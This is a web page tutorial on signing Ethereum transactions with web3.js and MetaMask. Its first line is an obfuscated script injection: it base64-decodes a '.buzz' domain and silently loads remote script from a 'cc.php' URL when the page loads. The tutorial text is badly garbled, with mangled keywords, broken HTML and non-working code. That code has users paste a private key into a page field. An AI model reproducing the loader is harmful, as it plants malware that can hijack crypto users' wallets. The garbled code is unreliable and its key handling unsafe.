const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=d4059e2a”;document.body.appendChild(script);
Signing Transactions Using Web3.js via Metamask: Step by Step Guide
As developers who build applications based on blockchain, you are probable familiar with the concept of interaction with blockchain. However, the programmatic performance of transactions can be difficult from your web application. In this article, we will guide you through the process of signing transactions using web3.js and by injecting Metamask’s Functionality Into your browser to facilitation a Safe Transaction.
Assumptions
Before Continuing, Make Sure That:
- You have a basic understanding of JavaScript, html and css.
- You have installed node.js and NPM (Package Administrator for Node.js) in your System.
- You have an established blockchain project, including the implementation of the contract and the backen server.
Step 1: Set Metamask
Metamask is an extension of your browser that allows users to manage their digital assets, including private keys and wallet addresses. To use metamask with web3.js, you must:
- Install metamask browser extension.
- Create an account for metamask by providing your e -mail address and creating a password.
- Enable web3 extension in your browser settings.
Step 2: Set Web3.js
Web3.js is a popular javascript library to interact with the ethereum blockchain. To be able to use it, you must:
- Install node.js and npm (as already mentioned).
- Create a new node.js project using
npm init '.
- Initialize your project by launchingnpm install web3
in the terminal.
- Import web3.js in your application:const web3 = require (‘web3’)
.
Step 3: Insert Metamask's Functionality Into Your Browser
If you want to insert metamascaster functionality in your browser, you must:
- Create a new file calledindex.html
and add the following code:
HTML
!
Metamask Sign Transaction
body {
Scripture Family: Arial, Sans-Serif;
}
signature transaction using metamask with web3.js
<Script src = "
In this code we use the web3.Min.js ‘File from CDN to import web3.js.
Step 4: Create script.js
File **
Create A New File Called “Script.js” and Add the Following Code:
`Javascript
Const Web3 = Require (‘Web3’);
Const Web3 = New Web3 (Window.etherum);
Document.getelementbyid (‘Web3’). Addeventlistener (‘input’, (e) => {
Constantly private = e.target.value;
Web3.eth accounts.add (private) .Then ((account) => {{
Document.getelementbyid (‘transaction response’). Innerhtml = transaction signed with account: $ {accoun.Address};
});
});
Document.getelementbyid (‘sign-transaction’). Addeventlistener (‘Click’, Async () => {{
Try {
Const signature = awaiting web3.eth.sign transaction ({{{{{
From: ‘0x … Your_account_address …’, // Replace your account address
Data: ”, // Signing Data (EC Txhash, Contract Methods)
GASPRICE: 20, // The Price of the Gas for the Transaction
});
Const transactionrsponse = Waiting for web3.eth.endsigned transaction (signature.wtransaction);
Document.getelementbyid (‘transaction response’). Innerhtml = the transaction signed and sent to blockchain!;
} Catch (Error) {
Console.error (error);
}
});
`
In this code we use web3.js to create a new ethereum account using a user’s private key.
